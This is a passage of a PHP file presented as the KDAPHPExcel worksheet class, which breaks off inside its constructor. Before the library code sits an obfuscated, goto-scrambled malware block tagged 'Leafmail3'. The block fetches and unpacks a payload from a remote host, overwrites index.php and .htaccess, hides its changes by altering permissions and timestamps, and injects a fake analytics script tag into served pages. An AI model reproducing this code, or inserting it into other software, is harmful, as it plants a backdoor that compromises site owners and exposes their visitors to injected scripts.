Your IP : 18.219.152.33
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
* KDAPHPExcel
*
* Copyright (c) 2006 - 2013 KDAPHPExcel
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* @category KDAPHPExcel
* @package KDAPHPExcel_Worksheet
* @copyright Copyright (c) 2006 - 2013 KDAPHPExcel (http://www.codeplex.com/KDAPHPExcel)
* @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL
* @version 1.7.9, 2013-06-02
*/
/**
* KDAPHPExcel_Worksheet
*
* @category KDAPHPExcel
* @package KDAPHPExcel_Worksheet
* @copyright Copyright (c) 2006 - 2013 KDAPHPExcel (http://www.codeplex.com/KDAPHPExcel)
*/
class KDAPHPExcel_Worksheet implements KDAPHPExcel_IComparable
{
/* Break types */
const BREAK_NONE = 0;
const BREAK_ROW = 1;
const BREAK_COLUMN = 2;
/* Sheet state */
const SHEETSTATE_VISIBLE = 'visible';
const SHEETSTATE_HIDDEN = 'hidden';
const SHEETSTATE_VERYHIDDEN = 'veryHidden';
/**
* Invalid characters in sheet title
*
* @var array
*/
private static $_invalidCharacters = array('*', ':', '/', '\\', '?', '[', ']');
/**
* Parent spreadsheet
*
* @var KDAPHPExcel
*/
private $_parent;
/**
* Cacheable collection of cells
*
* @var KDAPHPExcel_CachedObjectStorage_xxx
*/
private $_cellCollection = null;
/**
* Collection of row dimensions
*
* @var KDAPHPExcel_Worksheet_RowDimension[]
*/
private $_rowDimensions = array();
/**
* Default row dimension
*
* @var KDAPHPExcel_Worksheet_RowDimension
*/
private $_defaultRowDimension = null;
/**
* Collection of column dimensions
*
* @var KDAPHPExcel_Worksheet_ColumnDimension[]
*/
private $_columnDimensions = array();
/**
* Default column dimension
*
* @var KDAPHPExcel_Worksheet_ColumnDimension
*/
private $_defaultColumnDimension = null;
/**
* Collection of drawings
*
* @var KDAPHPExcel_Worksheet_BaseDrawing[]
*/
private $_drawingCollection = null;
/**
* Collection of Chart objects
*
* @var KDAPHPExcel_Chart[]
*/
private $_chartCollection = array();
/**
* Worksheet title
*
* @var string
*/
private $_title;
/**
* Sheet state
*
* @var string
*/
private $_sheetState;
/**
* Page setup
*
* @var KDAPHPExcel_Worksheet_PageSetup
*/
private $_pageSetup;
/**
* Page margins
*
* @var KDAPHPExcel_Worksheet_PageMargins
*/
private $_pageMargins;
/**
* Page header/footer
*
* @var KDAPHPExcel_Worksheet_HeaderFooter
*/
private $_headerFooter;
/**
* Sheet view
*
* @var KDAPHPExcel_Worksheet_SheetView
*/
private $_sheetView;
/**
* Protection
*
* @var KDAPHPExcel_Worksheet_Protection
*/
private $_protection;
/**
* Collection of styles
*
* @var KDAPHPExcel_Style[]
*/
private $_styles = array();
/**
* Conditional styles. Indexed by cell coordinate, e.g. 'A1'
*
* @var array
*/
private $_conditionalStylesCollection = array();
/**
* Is the current cell collection sorted already?
*
* @var boolean
*/
private $_cellCollectionIsSorted = false;
/**
* Collection of breaks
*
* @var array
*/
private $_breaks = array();
/**
* Collection of merged cell ranges
*
* @var array
*/
private $_mergeCells = array();
/**
* Collection of protected cell ranges
*
* @var array
*/
private $_protectedCells = array();
/**
* Autofilter Range and selection
*
* @var KDAPHPExcel_Worksheet_AutoFilter
*/
private $_autoFilter = NULL;
/**
* Freeze pane
*
* @var string
*/
private $_freezePane = '';
/**
* Show gridlines?
*
* @var boolean
*/
private $_showGridlines = true;
/**
* Print gridlines?
*
* @var boolean
*/
private $_printGridlines = false;
/**
* Show row and column headers?
*
* @var boolean
*/
private $_showRowColHeaders = true;
/**
* Show summary below? (Row/Column outline)
*
* @var boolean
*/
private $_showSummaryBelow = true;
/**
* Show summary right? (Row/Column outline)
*
* @var boolean
*/
private $_showSummaryRight = true;
/**
* Collection of comments
*
* @var KDAPHPExcel_Comment[]
*/
private $_comments = array();
/**
* Active cell. (Only one!)
*
* @var string
*/
private $_activeCell = 'A1';
/**
* Selected cells
*
* @var string
*/
private $_selectedCells = 'A1';
/**
* Cached highest column
*
* @var string
*/
private $_cachedHighestColumn = 'A';
/**
* Cached highest row
*
* @var int
*/
private $_cachedHighestRow = 1;
/**
* Real highest row
*
* @var int
*/
private $_realHighestRow = 1;
/**
* Right-to-left?
*
* @var boolean
*/
private $_rightToLeft = false;
/**
* Hyperlinks. Indexed by cell coordinate, e.g. 'A1'
*
* @var array
*/
private $_hyperlinkCollection = array();
/**
* Data validation objects. Indexed by cell coordinate, e.g. 'A1'
*
* @var array
*/
private $_dataValidationCollection = array();
/**
* Tab color
*
* @var KDAPHPExcel_Style_Color
*/
private $_tabColor;
/**
* Dirty flag
*
* @var boolean
*/
private $_dirty = true;
/**
* Hash
*
* @var string
*/
private $_hash = null;
/**
* Create a new worksheet
*
* @param KDAPHPExcel $pParent
* @param string $pTitle
*/
public function __construct(KDAPHPExcel $pParent = null, $pTitle = 'Worksheet')
{
// Set parent and title
$this->_parent = $pParent;
$this->setTitle($pTitle, FALSE);
$this->setSheetState(KDAPHPExcel_Worksheet::SHEETSTATE_VISIBLE);
$this->_cellCollection = KDAPHPExcel_CachedObjectStorageFactory::getInstance($this);
// Set page setup
$this->_pageSetup = new KDAPHPExcel_Worksheet_PageSetup();
// Set page margins
$this->_pageMargins = new KDAPHPExcel_Worksheet_PageMargins();
// Set page header/footer
$this->_headerFooter = new KDAPHPExcel_Worksheet_HeaderFooter();
// Set sheet view
$this->_sheetView = new KDAPHPExcel_Worksheet_SheetView();
